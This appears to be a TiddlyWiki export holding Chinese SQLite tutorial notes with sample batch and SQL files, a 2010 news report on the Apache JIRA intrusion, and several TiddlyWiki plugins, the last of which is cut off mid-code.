第一種方法,對於使用者來說可能會是個大問題。因為不是每個使用者都懂得,而且願意架設一個資料庫系統在自己的電腦上。甚至他的電腦夠不夠力跑一個資料庫系統都是問題。第二種方法,是許多人常用的方式,尤其在 Windows 系統下面,許多人常常用Registry 來作為軟體的資料庫。不過,話說回來,少掉了 SQL 的幫助,很多資料處理的功能都要自己來作,對於程式設計師來說真的是很累。

其實,還有另外一種折衷的方案,就是使用 ~SQLite 這樣的嵌入式資料庫。對於程式設計師來說,使用這樣的資料庫,與使用一般的 SQL 資料庫差異不大。一 般的 ~SQL92 語法都可以使用。而且不用架設任何系統起來,只要在編譯程式時把 ~SQLite 的程式庫一併編入。

而且 ~SQLite 的資料庫都是單一的檔案。 所以,要將軟體安裝到使用者的電腦上是再簡單不過的事情。

下面就來看看 ~SQLite 網站上對於這個嵌入式資料庫的介紹: ~SQLite 是一個很小的 C 語言程式庫。這個程式庫本身就完全包含資料庫引擎的功能,而且可以嵌入至其他程式中,完全不用額外的設定。其特性如下:
{{{
    * 支援 ACID (Atomic, Consistent, Isolated, Durable) 交易。
    * 零組態設定(Zero-configuration),無須管理者的設定及管理。
    * 支援大部分 ~SQL92 的語法。
    * 資料庫存在於一個單一的檔案中。
    * 資料庫系統所在機器的位元組順序( Byte order) 無關。
    * 支援大小至 2 terabytes (2^41 bytes)。
    * 極小的記憶體需求:小於 3 萬行的 C 語言程式碼。小於 250KB 的程式空間。
    * 大部分的資料庫操作皆快於一般流行的資料庫系統。
    * 簡單易用的 API。
    * 支援 TCL。也有其他語言的支援可用。
    * 註解詳細的程式碼,以及超過 90% 的測試。
    * 程式庫自己包含完整的功能,無須其他額外的程式或程式庫。
    * 程式碼版權為 public domain。任何用途皆可免費使用。 
}}}
在與其他的開發工具連結方面,~SQLite 幾乎可以在目前所有的主流開發工具,平台,程式語言上面使用:
{{{
    * BASIC
    * C/C++
    * ODBC
    * Java
    * JavaScript
    * .Net framework
    * Perl
    * PHP
    * Python
    * Ruby
}}}
而在作業系統支援上,除了目前大部分的 PC/NB 所使用的作業系統,如 Windows, Linux, ~FreeBSD, OS/2 ...等。在嵌入式系統上也有支援,如 Embedded 系統使用的 Linux, Win CE 及 Symbian 等等。 


{{item1{SQLite 實作說明}}}

You need to put all your sqlite shell commands in one file, say sqlitecmds.txt. This includes the dot commands and the SQL statements. So sqlitecmds.txt contains:
{{{
    .output testfile.txt
    select * from readcode where read_code glob 'G2*';
}}}
Then you need to put your DOS shell commands in another file, say readcode.bat. This file will contain the commnad to run sqlite and redirect its input to the file of sqlite commnads above. So readcode.bat contains:
{{{
    cd c:\test\ReadCodes
    c:\test\Program\sqlite3 c:\test\ReadCodes\ReadCode.db < sqlitecmds.txt
}}}
Then you tell the DOS shell (actually cmd.exe) to run the commands in your readcode.bat file by typing the batch file name at the command prompt.
{{{
    C:\>readcode
}}}
<nowiki>
This will execute your batch file commands, which will run the sqlite shell program, which will read and execute the commands in the sqlite commands file, which will write its output to the file testfile.txt in the current directory (which will be C:\test\ReadCodes).
</nowiki>



''__@@font-size:14px;產生 t1 資料表@@__''

<<toBalaFile "db\createTable.txt">><<toBalaRun "tbsqlite.exe"  "db\test.db db\createTable.txt"  "產生 t1 資料表"  "">>

''__@@font-size:14px;新增記錄@@__''

<<toBalaFile "db\insert.txt">><<toBalaRun "tbsqlite.exe"  "db\test.db db\insert.txt"  "新增記錄"  "">>

''__@@font-size:14px;查詢記錄@@__''

<<toBalaFile "db\query.txt">><<toBalaRun "tbsqlite.exe"  "db\test.db db\query.txt"  "查詢記錄"  "">>

''__@@font-size:14px;刪除記錄@@__''

<<toBalaFile "db\delete.txt">><<toBalaRun "tbsqlite.exe"  "db\test.db db\delete.txt"  "刪除記錄"  "">>

''__@@font-size:14px;刪除 t1 資料表@@__''

<<toBalaFile "db\dropTable.txt">><<toBalaRun "tbsqlite.exe"  "db\test.db db\dropTable.txt"  "刪除 t1 資料表"  "">>



{{item1{tbsqlite.bat 批次檔}}}
{{{
@echo off

REM 取得這個 Batch File 的目錄
set toBalaPath=%~p0

REM 取得這個 Batch File 的磁碟代號
set toBalaDrv=%~d0

REM 轉換磁碟及目錄
call %toBalaDrv%
cd %toBalaPath%

REM 設定環境變數
REM -----------------
set PATH=.;%CD%\tools;%CD%\tools\cmdtools;%PATH%

REM 執行 sqlite3 命令
REM ------------------
if "%~x0" == ".bat" goto n1
echo ^<head^> >%0.htm
echo ^<meta http-equiv="Content-Type" content="text/html; charset=utf-8"^> >>%0.htm
echo ^</head^> >>%0.htm
echo ^<body^> >>%0.htm
echo sqlite3  -html -header %1 ^< %2 >>%0.htm
echo ^<hr^> >>%0.htm 
echo ^<table style='font-size:12px' border="1" align="left"^> >>%0.htm
goto n2

:n1
echo 執行中, 請稍待 (檔案 : sqlite3 %1 ^< %2) 
echo. >%0.htm

:n2
sqlite3 -html -header %1  < %2  >> %0.htm 2>&1

REM 處理執行訊息
REM -------------------
if "%~x0" == ".bat" goto s1
echo ^</table^> >>%0.htm
echo ^</body^> >>%0.htm
exit

:s1
type %0.htm
echo.
echo 執行完成
echo.
pause
exit
}}}

///%db\createTable.txt
create table t1 (t1key INTEGER PRIMARY KEY,data TEXT,num double,timeEnter DATE);
//%/

///%db\insert.txt
insert into t1 (data,num) values ('This is sample data',3);
insert into t1 (data,num) values ('More sample data',6);
insert into t1 (data,num) values ('中文測試',9);
//%/

///%db\query.txt
select * from t1;
//%/

///%db\delete.txt
delete from t1;
//%/

///%db\dropTable.txt
drop table t1;
//%/

本文網址 : http://www.ithome.com.tw/itadm/article.php?c=60623

文/沈經  2010-04-14 	

駭客於4月5日透過slicehost網站留言展開XSS(cross-site scripting)跨站攻擊,隨即駭客針對JIRA網站的login.jsp發起暴力字典攻擊,於4月6日取得JIRA網站一個管理者帳號與權限。

著名開放源碼軟體組織Apache部份網站日前遭受駭客的跨站攻擊,駭客取得管理者權限並安裝密碼蒐集程式,導致網站使用者密碼洩漏。

Apache管理團隊昨天發布此事件的說明,指出三個網站的使用者密碼可能遭破解,並提醒使用者應調整密碼以免遭字典攻擊破解。

駭客攻擊的目標是Apache用來追蹤問題的專案管理網站JIRA。駭客於4月5日透過slicehost網站,留言表示JIRA網站有部份專案無法瀏覽,誘導數個管理員點選連結,該連結內容包含XSS(cross-site scripting)攻擊程序,會偷取使用者瀏覽器的暫存資料。

隨即駭客針對JIRA網站的login.jsp發起暴力字典攻擊,於4月6日取得JIRA網站一個管理者帳號與權限。三天後駭客安裝一個檔案,收集使用者的密碼,駭客還發通知郵件請apache管理團隊重新設定密碼,至少有一個駭客因此取得三個網站的管理者權限。

Apache團隊已經將這三個網站移轉到別的機器,但有一個網站還沒上線。(編譯/沈經)
Background: #fff
Foreground: #000
PrimaryPale: #fc8
PrimaryLight: #f81
PrimaryMid: #b40
PrimaryDark: #410
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/***
|''Name:''|CryptoFunctionsPlugin|
|''Description:''|Support for cryptographic functions|
***/
//{{{
if(!version.extensions.CryptoFunctionsPlugin) {
version.extensions.CryptoFunctionsPlugin = {installed:true};

//--
//-- Crypto functions and associated conversion routines
//--

// Crypto "namespace"
function Crypto() {}

// Convert a string to an array of big-endian 32-bit words
Crypto.strToBe32s = function(str)
{
	var be = Array();
	var len = Math.floor(str.length/4);
	var i, j;
	for(i=0, j=0; i<len; i++, j+=4) {
		be[i] = ((str.charCodeAt(j)&0xff) << 24)|((str.charCodeAt(j+1)&0xff) << 16)|((str.charCodeAt(j+2)&0xff) << 8)|(str.charCodeAt(j+3)&0xff);
	}
	while (j<str.length) {
		be[j>>2] |= (str.charCodeAt(j)&0xff)<<(24-(j*8)%32);
		j++;
	}
	return be;
};

// Convert an array of big-endian 32-bit words to a string
Crypto.be32sToStr = function(be)
{
	var str = "";
	for(var i=0;i<be.length*32;i+=8)
		str += String.fromCharCode((be[i>>5]>>>(24-i%32)) & 0xff);
	return str;
};

// Convert an array of big-endian 32-bit words to a hex string
Crypto.be32sToHex = function(be)
{
	var hex = "0123456789ABCDEF";
	var str = "";
	for(var i=0;i<be.length*4;i++)
		str += hex.charAt((be[i>>2]>>((3-i%4)*8+4))&0xF) + hex.charAt((be[i>>2]>>((3-i%4)*8))&0xF);
	return str;
};

// Return, in hex, the SHA-1 hash of a string
Crypto.hexSha1Str = function(str)
{
	return Crypto.be32sToHex(Crypto.sha1Str(str));
};

// Return the SHA-1 hash of a string
Crypto.sha1Str = function(str)
{
	return Crypto.sha1(Crypto.strToBe32s(str),str.length);
};

// Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
Crypto.sha1 = function(x,blen)
{
	// Add 32-bit integers, wrapping at 32 bits
	add32 = function(a,b)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF);
		var msw = (a>>16)+(b>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Add five 32-bit integers, wrapping at 32 bits
	add32x5 = function(a,b,c,d,e)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF)+(c&0xFFFF)+(d&0xFFFF)+(e&0xFFFF);
		var msw = (a>>16)+(b>>16)+(c>>16)+(d>>16)+(e>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Bitwise rotate left a 32-bit integer by 1 bit
	rol32 = function(n)
	{
		return (n>>>31)|(n<<1);
	};

	var len = blen*8;
	// Append padding so length in bits is 448 mod 512
	x[len>>5] |= 0x80 << (24-len%32);
	// Append length
	x[((len+64>>9)<<4)+15] = len;
	var w = Array(80);

	var k1 = 0x5A827999;
	var k2 = 0x6ED9EBA1;
	var k3 = 0x8F1BBCDC;
	var k4 = 0xCA62C1D6;

	var h0 = 0x67452301;
	var h1 = 0xEFCDAB89;
	var h2 = 0x98BADCFE;
	var h3 = 0x10325476;
	var h4 = 0xC3D2E1F0;

	for(var i=0;i<x.length;i+=16) {
		var j,t;
		var a = h0;
		var b = h1;
		var c = h2;
		var d = h3;
		var e = h4;
		for(j = 0;j<16;j++) {
			w[j] = x[i+j];
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=16;j<20;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=20;j<40;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k2);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=40;j<60;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),(b&c)|(d&(b|c)),w[j],k3);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=60;j<80;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k4);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}

		h0 = add32(h0,a);
		h1 = add32(h1,b);
		h2 = add32(h2,c);
		h3 = add32(h3,d);
		h4 = add32(h4,e);
	}
	return Array(h0,h1,h2,h3,h4);
};


}
//}}}
首頁
/***
|''Name:''|DeprecatedFunctionsPlugin|
|''Description:''|Support for deprecated functions removed from core|
***/
//{{{
if(!version.extensions.DeprecatedFunctionsPlugin) {
version.extensions.DeprecatedFunctionsPlugin = {installed:true};

//--
//-- Deprecated code
//--

// @Deprecated: Use createElementAndWikify and this.termRegExp instead
config.formatterHelpers.charFormatHelper = function(w)
{
	w.subWikify(createTiddlyElement(w.output,this.element),this.terminator);
};

// @Deprecated: Use enclosedTextHelper and this.lookaheadRegExp instead
config.formatterHelpers.monospacedByLineHelper = function(w)
{
	var lookaheadRegExp = new RegExp(this.lookahead,"mg");
	lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var text = lookaheadMatch[1];
		if(config.browser.isIE)
			text = text.replace(/\n/g,"\r");
		createTiddlyElement(w.output,"pre",null,null,text);
		w.nextMatch = lookaheadRegExp.lastIndex;
	}
};

// @Deprecated: Use <br> or <br /> instead of <<br>>
config.macros.br = {};
config.macros.br.handler = function(place)
{
	createTiddlyElement(place,"br");
};

// Find an entry in an array. Returns the array index or null
// @Deprecated: Use indexOf instead
Array.prototype.find = function(item)
{
	var i = this.indexOf(item);
	return i == -1 ? null : i;
};

// Load a tiddler from an HTML DIV. The caller should make sure to later call Tiddler.changed()
// @Deprecated: Use store.getLoader().internalizeTiddler instead
Tiddler.prototype.loadFromDiv = function(divRef,title)
{
	return store.getLoader().internalizeTiddler(store,this,title,divRef);
};

// Format the text for storage in an HTML DIV
// @Deprecated Use store.getSaver().externalizeTiddler instead.
Tiddler.prototype.saveToDiv = function()
{
	return store.getSaver().externalizeTiddler(store,this);
};

// @Deprecated: Use store.allTiddlersAsHtml() instead
function allTiddlersAsHtml()
{
	return store.allTiddlersAsHtml();
}

// @Deprecated: Use refreshPageTemplate instead
function applyPageTemplate(title)
{
	refreshPageTemplate(title);
}

// @Deprecated: Use story.displayTiddlers instead
function displayTiddlers(srcElement,titles,template,unused1,unused2,animate,unused3)
{
	story.displayTiddlers(srcElement,titles,template,animate);
}

// @Deprecated: Use story.displayTiddler instead
function displayTiddler(srcElement,title,template,unused1,unused2,animate,unused3)
{
	story.displayTiddler(srcElement,title,template,animate);
}

// @Deprecated: Use functions on right hand side directly instead
var createTiddlerPopup = Popup.create;
var scrollToTiddlerPopup = Popup.show;
var hideTiddlerPopup = Popup.remove;

// @Deprecated: Use right hand side directly instead
var regexpBackSlashEn = new RegExp("\\\\n","mg");
var regexpBackSlash = new RegExp("\\\\","mg");
var regexpBackSlashEss = new RegExp("\\\\s","mg");
var regexpNewLine = new RegExp("\n","mg");
var regexpCarriageReturn = new RegExp("\r","mg");

}
//}}}
/***
|Name|DisableWikiLinksPlugin|
|Source|http://www.TiddlyTools.com/#DisableWikiLinksPlugin|
|Version|1.5.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|Tiddler.prototype.autoLinkWikiWords, 'wikiLink' formatter|
|Options|##Configuration|
|Description|selectively disable TiddlyWiki's automatic ~WikiWord linking behavior|
This plugin allows you to disable TiddlyWiki's automatic ~WikiWord linking behavior, so that WikiWords embedded in tiddler content will be rendered as regular text, instead of being automatically converted to tiddler links.  To create a tiddler link when automatic linking is disabled, you must enclose the link text within {{{[[...]]}}}.
!!!!!Usage
<<<
You can block automatic WikiWord linking behavior for any specific tiddler by ''tagging it with<<tag excludeWikiWords>>'' (see configuration below) or, check a plugin option to disable automatic WikiWord links to non-existing tiddler titles, while still linking WikiWords that correspond to existing tiddlers titles or shadow tiddler titles.  You can also block specific selected WikiWords from being automatically linked by listing them in [[DisableWikiLinksList]] (see configuration below), separated by whitespace.  This tiddler is optional and, when present, causes the listed words to always be excluded, even if automatic linking of other WikiWords is being permitted.  

Note: WikiWords contained in default ''shadow'' tiddlers will be automatically linked unless you select an additional checkbox option lets you disable these automatic links as well, though this is not recommended, since it can make it more difficult to access some TiddlyWiki standard default content (such as AdvancedOptions or SideBarTabs)
<<<
!!!!!Configuration
<<<
<<option chkDisableWikiLinks>> Disable ALL automatic WikiWord tiddler links
<<option chkAllowLinksFromShadowTiddlers>> ... except for WikiWords //contained in// shadow tiddlers
<<option chkDisableNonExistingWikiLinks>> Disable automatic WikiWord links for non-existing tiddlers
Disable automatic WikiWord links for words listed in: <<option txtDisableWikiLinksList>>
Disable automatic WikiWord links for tiddlers tagged with: <<option txtDisableWikiLinksTag>>
<<<
!!!!!Code
***/
//{{{
version.extensions.disableWikiLinks= {major: 1, minor: 5, revision: 0, date: new Date(2007,6,9)};

if (config.options.chkDisableNonExistingWikiLinks==undefined) config.options.chkDisableNonExistingWikiLinks= false;
if (config.options.chkDisableWikiLinks==undefined) config.options.chkDisableWikiLinks=false;
if (config.options.txtDisableWikiLinksList==undefined) config.options.txtDisableWikiLinksList="DisableWikiLinksList";
if (config.options.chkAllowLinksFromShadowTiddlers==undefined) config.options.chkAllowLinksFromShadowTiddlers=true;
if (config.options.txtDisableWikiLinksTag==undefined) config.options.txtDisableWikiLinksTag="excludeWikiWords";

// find the formatter for wikiLink and replace handler with 'pass-thru' rendering
initDisableWikiLinksFormatter();
function initDisableWikiLinksFormatter() {
	for (var i=0; i<config.formatters.length && config.formatters[i].name!="wikiLink"; i++);
	config.formatters[i].coreHandler=config.formatters[i].handler;
	config.formatters[i].handler=function(w) {
		// supress any leading "~" (if present)
		var skip=(w.matchText.substr(0,1)==config.textPrimitives.unWikiLink)?1:0;
		var title=w.matchText.substr(skip);
		var exists=store.tiddlerExists(title);
		var inShadow=w.tiddler && store.isShadowTiddler(w.tiddler.title);

		// check for excluded Tiddler
		if (w.tiddler && w.tiddler.isTagged(config.options.txtDisableWikiLinksTag))
			{ w.outputText(w.output,w.matchStart+skip,w.nextMatch); return; }
		
		// check for specific excluded wiki words
		var t=store.getTiddlerText(config.options.txtDisableWikiLinksList)
		if (t && t.length && t.indexOf(w.matchText)!=-1)
			{ w.outputText(w.output,w.matchStart+skip,w.nextMatch); return; }

		// if not disabling links from shadows (default setting)
		if (config.options.chkAllowLinksFromShadowTiddlers && inShadow)
			return this.coreHandler(w);

		// check for non-existing non-shadow tiddler
		if (config.options.chkDisableNonExistingWikiLinks && !exists)
			{ w.outputText(w.output,w.matchStart+skip,w.nextMatch); return; }

		// if not enabled, just do standard WikiWord link formatting
		if (!config.options.chkDisableWikiLinks)
			return this.coreHandler(w);

		// just return text without linking
		w.outputText(w.output,w.matchStart+skip,w.nextMatch)
	}
}

Tiddler.prototype.coreAutoLinkWikiWords = Tiddler.prototype.autoLinkWikiWords;
Tiddler.prototype.autoLinkWikiWords = function()
{
	// DEBUG alert("processing: "+this.title);
	// if all automatic links are not disabled, just return results from core function
	if (!config.options.chkDisableWikiLinks)
		return this.coreAutoLinkWikiWords.apply(this,arguments);
	return false;
}
//}}}
/*{{{*/
 
/*}}}*/
/*{{{*/
a {color:#0044BB;font-weight:bold}
/*}}}*/
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='easyEdit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
/***
|Name|ExportTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#ExportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ExportTiddlersPluginInfo|
|Version|2.7.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|select and extract tiddlers from your ~TiddlyWiki documents and save them to a separate file|
ExportTiddlersPlugin lets you select and extract tiddlers from your ~TiddlyWiki documents using interactive control panel lets you specify a destination, and then select which tiddlers to export. Tiddler data can be output as complete, stand-alone TiddlyWiki documents, or just the selected tiddlers ("~PureStore" format -- smaller files!) that can be imported directly into another ~TiddlyWiki, or as an ~RSS-compatible XML file that can be published for RSS syndication.
!!!!!Documentation
>see [[ExportTiddlersPluginInfo]]
!!!!!Code
***/
//{{{
// version
version.extensions.exportTiddlers = {major: 2, minor: 7, revision: 0, date: new Date(2008,5,27)};

// default shadow definition
config.shadowTiddlers.ExportTiddlers="<<exportTiddlers inline>>";

// add 'export' backstage task (following built-in import task)
if (config.tasks) { // TW2.2 or above
	config.tasks.exportTask = {
		text:"export",
		tooltip:"Export selected tiddlers to another file",
		content:"<<exportTiddlers inline>>"
	}
	config.backstageTasks.splice(config.backstageTasks.indexOf("importTask")+1,0,"exportTask");
}

// macro handler
config.macros.exportTiddlers = {
	label: "export tiddlers",
	prompt: "Copy selected tiddlers to an export document",
	newdefault: "export.html",
	datetimefmt: "0MM/0DD/YYYY 0hh:0mm:0ss" // for "filter date/time" edit fields
};

config.macros.exportTiddlers.handler = function(place,macroName,params) {
	if (params[0]!="inline")
		{ createTiddlyButton(place,this.label,this.prompt,onClickExportMenu); return; }
	var panel=createExportPanel(place);
	panel.style.position="static";
	panel.style.display="block";
}

function createExportPanel(place) {
	var panel=document.getElementById("exportPanel");
	if (panel) { panel.parentNode.removeChild(panel); }
	setStylesheet(config.macros.exportTiddlers.css,"exportTiddlers");
	panel=createTiddlyElement(place,"span","exportPanel",null,null)
	panel.innerHTML=config.macros.exportTiddlers.html;
	exportInitFilter();
	refreshExportList(0);
	var fn=document.getElementById("exportFilename");
	if (window.location.protocol=="file:" && !fn.value.length) {
		// get new target path/filename
		var newPath=getLocalPath(window.location.href);
		var slashpos=newPath.lastIndexOf("/"); if (slashpos==-1) slashpos=newPath.lastIndexOf("\\"); 
		if (slashpos!=-1) newPath=newPath.substr(0,slashpos+1); // trim filename
		fn.value=newPath+config.macros.exportTiddlers.newdefault;
	}
	return panel;
}

function onClickExportMenu(e)
{
	if (!e) var e = window.event;
	var parent=resolveTarget(e).parentNode;
	var panel = document.getElementById("exportPanel");
	if (panel==undefined || panel.parentNode!=parent)
		panel=createExportPanel(parent);
	var isOpen = panel.style.display=="block";
	if(config.options.chkAnimate)
		anim.startAnimating(new Slider(panel,!isOpen,e.shiftKey || e.altKey,"none"));
	else
		panel.style.display = isOpen ? "none" : "block" ;
	if (panel.style.display!="none") { // update list and set focus when panel is made visible
		refreshExportList(0);
		var fn=document.getElementById("exportFilename"); fn.focus(); fn.select();
	}
	e.cancelBubble = true;
	if (e.stopPropagation) e.stopPropagation();
	return(false);
}
//}}}

// // IE needs explicit scoping for functions called by browser events
//{{{
window.onClickExportMenu=onClickExportMenu;
window.onClickExportButton=onClickExportButton;
window.exportShowFilterFields=exportShowFilterFields;
window.refreshExportList=refreshExportList;
//}}}

// // CSS for floating export control panel
//{{{
config.macros.exportTiddlers.css = '\
#exportPanel {\
	display: none; position:absolute; z-index:12; width:45em; right:105%; top:6em;\
	background-color: #eee; color:#000; font-size: 10pt; line-height:110%;\
	border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;\
	padding: 0.5em; margin:0em; -moz-border-radius:1em;\
}\
#exportPanel a, #exportPanel td a { color:#009; display:inline; margin:0px; padding:1px; }\
#exportPanel table { width:100%; border:0px; padding:0px; margin:0px; font-size:10pt; line-height:110%; background:transparent; }\
#exportPanel tr { border:0px;padding:0px;margin:0px; background:transparent; }\
#exportPanel td { color:#000; border:0px;padding:0px;margin:0px; background:transparent; }\
#exportPanel select { width:98%;margin:0px;font-size:10pt;line-height:110%;}\
#exportPanel input  { width:98%;padding:0px;margin:0px;font-size:10pt;line-height:110%; }\
#exportPanel textarea  { width:98%;padding:0px;margin:0px;overflow:auto;font-size:10pt; }\
#exportPanel .box { border:1px solid black; padding:3px; margin-bottom:5px; background:#f8f8f8; -moz-border-radius:5px; }\
#exportPanel .topline { border-top:2px solid black; padding-top:3px; margin-bottom:5px; }\
#exportPanel .rad { width:auto;border:0 }\
#exportPanel .chk { width:auto;border:0 }\
#exportPanel .btn { width:auto; }\
#exportPanel .btn1 { width:98%; }\
#exportPanel .btn2 { width:48%; }\
#exportPanel .btn3 { width:32%; }\
#exportPanel .btn4 { width:24%; }\
#exportPanel .btn5 { width:19%; }\
';
//}}}

// // HTML for export control panel interface
//{{{
config.macros.exportTiddlers.html = '\
<!-- target path/file  -->\
<div>\
export to path/filename:<br>\
<input type="text" id="exportFilename" size=40 style="width:93%"><input \
	type="button" id="exportBrowse" value="..." title="select or enter a local folder/file..." style="width:5%" \
	onclick="var fn=window.promptForExportFilename(this); if (fn.length) this.previousSibling.value=fn; ">\
</div>\
\
<!-- output format -->\
<div>\
output file format:\
<select id="exportFormat" size=1>\
<option value="TW">TiddlyWiki document (includes core code)</option>\
<option value="DIV">TiddlyWiki "PureStore" file (tiddler data only)</option>\
<option value="XML">XML (for RSS newsfeed)</option>\
</select>\
</div>\
\
<!-- notes -->\
<div>\
notes:<br>\
<textarea id="exportNotes" rows=3 cols=40 style="height:4em;margin-bottom:5px;" onfocus="this.select()"></textarea> \
</div>\
\
<!-- list of tiddlers -->\
<table><tr align="left"><td>\
	select:\
	<a href="JavaScript:;" id="exportSelectAll"\
		onclick="onClickExportButton(this)" title="select all tiddlers">\
		&nbsp;all&nbsp;</a>\
	<a href="JavaScript:;" id="exportSelectChanges"\
		onclick="onClickExportButton(this)" title="select tiddlers changed since last save">\
		&nbsp;changes&nbsp;</a> \
	<a href="JavaScript:;" id="exportSelectOpened"\
		onclick="onClickExportButton(this)" title="select tiddlers currently being displayed">\
		&nbsp;opened&nbsp;</a> \
	<a href="JavaScript:;" id="exportSelectRelated"\
		onclick="onClickExportButton(this)" title="select all tiddlers related (by link or transclusion) to the currently selected tiddlers">\
		&nbsp;related&nbsp;</a> \
	<a href="JavaScript:;" id="exportToggleFilter"\
		onclick="onClickExportButton(this)" title="show/hide selection filter">\
		&nbsp;filter&nbsp;</a>  \
</td><td align="right">\
	<a href="JavaScript:;" id="exportListSmaller"\
		onclick="onClickExportButton(this)" title="reduce list size">\
		&nbsp;&#150;&nbsp;</a>\
	<a href="JavaScript:;" id="exportListLarger"\
		onclick="onClickExportButton(this)" title="increase list size">\
		&nbsp;+&nbsp;</a>\
</td></tr></table>\
<select id="exportList" multiple size="20" style="margin-bottom:5px;"\
	onchange="refreshExportList(this.selectedIndex)">\
</select><br>\
</div><!--box-->\
\
<!-- selection filter -->\
<div id="exportFilterPanel" style="display:none">\
<table><tr align="left"><td>\
	selection filter\
</td><td align="right">\
	<a href="JavaScript:;" id="exportHideFilter"\
		onclick="onClickExportButton(this)" title="hide selection filter">hide</a>\
</td></tr></table>\
<div class="box">\
<input type="checkbox" class="chk" id="exportFilterStart" value="1"\
	onclick="exportShowFilterFields(this)"> starting date/time<br>\
<table cellpadding="0" cellspacing="0"><tr valign="center"><td width="50%">\
	<select size=1 id="exportFilterStartBy" onchange="exportShowFilterFields(this);">\
		<option value="0">today</option>\
		<option value="1">yesterday</option>\
		<option value="7">a week ago</option>\
		<option value="30">a month ago</option>\
		<option value="site">SiteDate</option>\
		<option value="file">file date</option>\
		<option value="other">other (mm/dd/yyyy hh:mm)</option>\
	</select>\
</td><td width="50%">\
	<input type="text" id="exportStartDate" onfocus="this.select()"\
		onchange="document.getElementById(\'exportFilterStartBy\').value=\'other\';">\
</td></tr></table>\
<input type="checkbox" class="chk" id="exportFilterEnd" value="1"\
	onclick="exportShowFilterFields(this)"> ending date/time<br>\
<table cellpadding="0" cellspacing="0"><tr valign="center"><td width="50%">\
	<select size=1 id="exportFilterEndBy" onchange="exportShowFilterFields(this);">\
		<option value="0">today</option>\
		<option value="1">yesterday</option>\
		<option value="7">a week ago</option>\
		<option value="30">a month ago</option>\
		<option value="site">SiteDate</option>\
		<option value="file">file date</option>\
		<option value="other">other (mm/dd/yyyy hh:mm)</option>\
	</select>\
</td><td width="50%">\
	<input type="text" id="exportEndDate" onfocus="this.select()"\
		onchange="document.getElementById(\'exportFilterEndBy\').value=\'other\';">\
</td></tr></table>\
<input type="checkbox" class="chk" id=exportFilterTags value="1"\
	onclick="exportShowFilterFields(this)"> match tags<br>\
<input type="text" id="exportTags" onfocus="this.select()">\
<input type="checkbox" class="chk" id=exportFilterText value="1"\
	onclick="exportShowFilterFields(this)"> match titles/tiddler text<br>\
<input type="text" id="exportText" onfocus="this.select()">\
</div> <!--box-->\
</div> <!--panel-->\
\
<!-- action buttons -->\
<div style="text-align:center">\
<input type=button class="btn4" onclick="onClickExportButton(this)"\
	id="exportFilter" value="apply filter">\
<input type=button class="btn4" onclick="onClickExportButton(this)"\
	id="exportStart" value="export tiddlers">\
<input type=button class="btn4" onclick="onClickExportButton(this)"\
	id="exportDelete" value="delete tiddlers">\
<input type=button class="btn4" onclick="onClickExportButton(this)"\
	id="exportClose" value="close">\
</div><!--center-->\
';
//}}}

// // initialize interface

// // exportInitFilter()
//{{{
function exportInitFilter() {
	// start date
	document.getElementById("exportFilterStart").checked=false;
	document.getElementById("exportStartDate").value="";
	// end date
	document.getElementById("exportFilterEnd").checked=false;
	document.getElementById("exportEndDate").value="";
	// tags
	document.getElementById("exportFilterTags").checked=false;
	document.getElementById("exportTags").value="";
	// text
	document.getElementById("exportFilterText").checked=false;
	document.getElementById("exportText").value="";
	// show/hide filter input fields
	exportShowFilterFields();
}
//}}}

// // exportShowFilterFields(which)
//{{{
function exportShowFilterFields(which) {
	var show;

